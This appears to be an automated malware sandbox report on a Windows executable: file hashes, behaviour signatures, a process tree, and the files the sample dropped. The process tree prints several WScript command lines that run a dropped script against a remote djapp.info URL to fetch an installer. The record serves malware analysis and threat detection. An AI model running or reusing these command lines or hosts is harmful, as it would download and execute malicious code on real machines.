Analysis

  • max time kernel
    45s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    28/11/2022, 07:05

General

  • Target

    acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe

  • Size

    184KB

  • MD5

    51987c1683ae46a7d7ae95f32d35100c

  • SHA1

    6ca41e67fd7972fb199c20e06517bca6da5749eb

  • SHA256

    acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb

  • SHA512

    07e2217907ca16d87332f4776579dca68f0903a5f9c59cacc13ada45a21f179351cbc8100072bd7f73f8fec5deb7d9743bb86fc99648b7b10ae2f1e9a339cc27

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3a:/7BSH8zUB+nGESaaRvoB7FJNndn3

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe
    "C:\Users\Admin\AppData\Local\Temp\acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:852
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AB9.js" http://www.djapp.info/?domain=CNiJdOYMwu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf2AB9.exe
      2⤵
      • Blocklisted process makes network request
      PID:940
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AB9.js" http://www.djapp.info/?domain=CNiJdOYMwu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf2AB9.exe
      2⤵
      • Blocklisted process makes network request
      PID:1864
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AB9.js" http://www.djapp.info/?domain=CNiJdOYMwu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf2AB9.exe
      2⤵
      • Blocklisted process makes network request
      PID:2040
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AB9.js" http://www.djapp.info/?domain=CNiJdOYMwu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf2AB9.exe
      2⤵
      • Blocklisted process makes network request
      PID:1884
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AB9.js" http://www.djapp.info/?domain=CNiJdOYMwu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf2AB9.exe
      2⤵
      • Blocklisted process makes network request
      PID:596
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 852 -s 476
      2⤵
      • Program crash
      PID:1952

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\fuf2AB9.js

          Filesize

          3KB

          MD5

          3813cab188d1de6f92f8b82c2059991b

          SHA1

          4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

          SHA256

          a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

          SHA512

          83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\ZA64KBLF.txt

          Filesize

          100B

          MD5

          ea34c2ac4e4728bfd2d5ffd2ab764b75

          SHA1

          6d0df1d903458c4b5957a9333b86d8c60c531cef

          SHA256

          35b4ad8df726faffc3525b708f0ad30105376f11d4ac3261c100559168e45381

          SHA512

          b5424a45bc879f630d9f10b0bd8349e08eb717bba549e4a5017f5c043830ddff85ab53e7f4d9da7f4063f4592b03872f494c2afdcb545f1a4ffefc3d9833f808

        • memory/852-54-0x0000000074E41000-0x0000000074E43000-memory.dmp

          Filesize

          8KB